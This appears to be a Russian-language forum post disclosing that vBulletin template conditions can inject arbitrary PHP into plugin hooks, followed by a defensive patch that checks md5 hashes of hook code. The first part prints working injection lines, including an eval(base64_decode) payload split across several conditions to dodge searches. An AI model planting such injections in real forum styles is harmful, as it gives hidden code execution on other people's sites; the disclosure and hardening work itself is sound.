Возможно, для кого-то это не будет новостью, но подобной темы не видел и, думаю, стоит поделиться своим "открытием".
Часто можно услышать, что нужно качать движок воблы и продукты к ней из
доверенных источников. Но почему-то ниразу не слышал такой фразы о стилях, а ведь в них тоже можно встроить всякую бяку. Мысль такая посетила меня после того, как при сохранении шаблона я увидел сообщение о том, что в шаблонах разершено использовать только некоторый ограниченный набор PHP-функций. Я сперва подумал, что это было для защиты от PHP-инъекций, но на самом деле это, видимо, было сделано только для того, чтобы в шаблоны не вставляли "тяжелые" функции и не нагружали их, т.к.
включить в шаблон любой PHP-код и выполнить его все равно можно. На то, чтобы придумать метод включения PHP-кода в шаблоне с последующим выполнением, у меня ушло всего полчаса. Как это можно сделать? Начнем с того, что в шаблонах есть доступ к глобальным переменным и имеется возможность менять их значения на свое усмотрения непосредственно при обработке шаблона -- этого достаточно. Откройте шаблон, скажем, FORUMHOME и добавьте в любое место такую строку:
HTML Code:
<if condition="$vbulletin->pluginlist['global_complete'] .= 'if'.'($_REQUEST[\'do\']==\'test\'){phpinfo'.'();exit'.'();}'"></if>
После этого сперва откройте
http://www.site.ru/forum/index.php, а потом
http://www.site.ru/forum/index.php?do=test -- и сравните результаты. Идея инъекции проста: в условии в шаблоне вместо сравнения чего-либо в глобальный массив плагинов добавляем к какому-либо хуку свои строки -- главное здесь, чтобы этот хук был распроложен
после кода обработки шаблона. Т.е. с тем же успехом можно было бы вставить эти строки в шаблон "ad_forumhome_afterforums" и вместо "global_complete" указать "forumhome_complete" (см. последние строки index.php). Причем вовсе не обязательно это все делать одной строкой и явно упоминать название хука, например:
HTML Code:
<if condition="$a='plu' AND $b='inlist' AND $a.='g'.$b"></if>
<if condition="$b='glob' AND $c='al' AND $d='complete' AND $b.=$c.'_'.$d"></if>
<if condition="$c='eval'.'(base64_decode'.'(\''"></if>
<if condition="$c.='aWYoJF9SRVFVRVNUWydkbyddPT0ndGVz'"></if>
<if condition="$c.='dCcpe3BocGluZm8oKTtleGl0KCk7fQ=='"></if>
<if condition="$vbulletin->{$a}[$b].=$c.'\'));'"></if>
Вставка этого кода в FORUMHOME приведет к тому же результату, что и предыдущий пример. Т.о. всю инъекцию можно разбить на несколько кусков и прятать в нескольких шаблонах и куче условий в них. Т.е. обнуражить "простым" поиском по шаблонам сразу не получится. Причем штука это запросто прокатывает даже в версии 3.8.1, не говоря уже о более старых. 3.8.2 и 3.8.3 не проверял, но сомневаюсь, что там в этом направлении что-либо изменено.
Другими словами, скачивая незнамо где незнамо кем сварганенный стиль, можно запросто подхватить не только банальные XSS и XSRF, но и вполне работоспособные трояны.
Вот придумал на свою голову, а теперь сижу придумываю, как от этого защититься. Скачивать и устанавливать где-либо стили я не планирую, т.к. у каждого моего сайта они уникальны и создаются профессиональными дизайнерами и художниками. Разве что для себя лично -- посмотреть устройство, решение проблем верстки и т.п. Но дырочка-то вон она. Пока имею три варианта защиты -- обкатываю...
Ghost добавил 14.07.2009 в 16:48
Вроде решено. Правда пришлось делать правки в двух php-файлах, но без этого не обойтись. И при условии что используется файловый кэш, т.е. в "includes/config.php" написано:
PHP Code:
$config['Datastore']['class'] = 'vB_Datastore_Filecache';
Вобщем идея такова: создавать md5-суммы для каждого модуля и при подключении проверять их.
Первое: создание массива $md5pl с md5-суммами всех модулей. Можно это сделать просто: инклудили "datastore_cache.php" -- тут же просканили массив хуков и соорудили массив хэшей. Но это нихт зер гут, т.к. этот массив будет глобальным, т.е. может быть изменен из шаблона банальным
HTML Code:
<if confition="$md5pl['global_complete']='свое значение'"></if>
Потому делаем так: при каждом сохранении файла "datastore_cache.php" создаем дополнительно файл "datastore_md5.php", в котором будут хранится уже посчитанные md5-суммы. Т.е. не придется каждый раз что-то считать, а скрипт, кроме всего прочего, при наличии eAccelerator'а (уже давно стандарт на хостингах с LAMP) будет еще и кэширован в памяти. Делается это так: находим файл "includes/class_datastore.php" и в нем описание функции "function build($title, $data)", в котором
после строк
PHP Code:
// try an atomic operation first, if that fails go for the old method
$atomic = false;
if (($fp = @fopen(DATASTORE . '/datastore_cache_atomic.php', 'w')))
{
fwrite($fp, $cache);
fclose($fp);
$atomic = $this->atomic_move(DATASTORE . '/datastore_cache_atomic.php', DATASTORE . '/datastore_cache.php');
}
if (!$atomic AND ($fp = @fopen(DATASTORE . '/datastore_cache.php', 'w')))
{
fwrite($fp, $cache);
fclose($fp);
}
вставляем
PHP Code:
if (($fp = @fopen(DATASTORE . '/datastore_md5.php', 'w')))
{
if (function_exists('md5pl') === false)
{
function md5pl($cache)
{
include(DATASTORE . '/datastore_cache.php');
$md5pl = array();
foreach ($pluginlist as $hook => $phpcode)
{
$md5pl[$hook] = md5($phpcode);
}
return '<'.'?php $md5pl='.var_export($md5pl, true).'; ?'.'>';
}
}
fwrite($fp, md5pl($cache));
fclose($fp);
}
После чего изменяем какой-нибудь модуль (вставляем комментарий, например), сохраняем и смотрим, есть ли в папке "includes/datastore" файл "datastore_md5.php" с содержимым вида
Code:
<?php $md5pl=array (
'parse_templates' => 'c6e79009c8ab201233e1fb55043ff436',
...
'global_start' => '4ba1e429e2d523e5024cd562e54adf63',
); ?>
Второе: проверка md5-суммы при вызове модулей. Как должно это происходить: сперва стандартным образом выбирается код модуля, после чего подключается файл с md5-суммами, вычисляется хэш для выбранного модуля и производится сравнение. Если возникает ошибка -- модуль был изменен и теперь нужно его восстановить до оригинального вида, повторно выбрав из "includes/datastore/datastore_cache.php". Для этого ищем файл "includes/class_hook.php" и в нем описание функции "function fetch_hook_object($hookname)", в котором
перед строкой
PHP Code:
return $this->pluginlist["$hookname"];
вставляем
PHP Code:
include(DIR . '/includes/datastore/datastore_md5.php');
if (!isset($md5pl["$hookname"]) OR $md5pl["$hookname"] != md5($this->pluginlist["$hookname"]))
{
include(DIR . '/includes/datastore/datastore_cache.php');
if (isset($pluginlist["$hookname"]))
{
$this->pluginlist["$hookname"] = $pluginlist["$hookname"];
}
else
{
$this->hookusage["$hookname"] = false;
$this->pluginlist["$hookname"] = '';
}
}
Сюда же можно вставить какое-либо уведомление админу на мыло, но я этого делать не стал -- на первое время вполне достаточно хотя бы того, что внедренный левый код не будет работать, а оригинальные модули -- будут.
Кстати, желательно еще проверять шаблоны на наличие изменения переменных вообще, т.к. при помощи простого присвоения можно изменить какую-либо настройку и снять для определенного пользователя какое-либо ограничение и т.п. Для проверки шаблонов на наличие в условиях операторов, изменяющих значение переменных, можно воспользоваться скриптом
tplcheck.zip -- просто распаковываем, заливаем в папку '/admincp/' и вызываем, вводя в адресной строке браузера 'http://www.mysite.ru/forum/admincp/tplcheck.php'.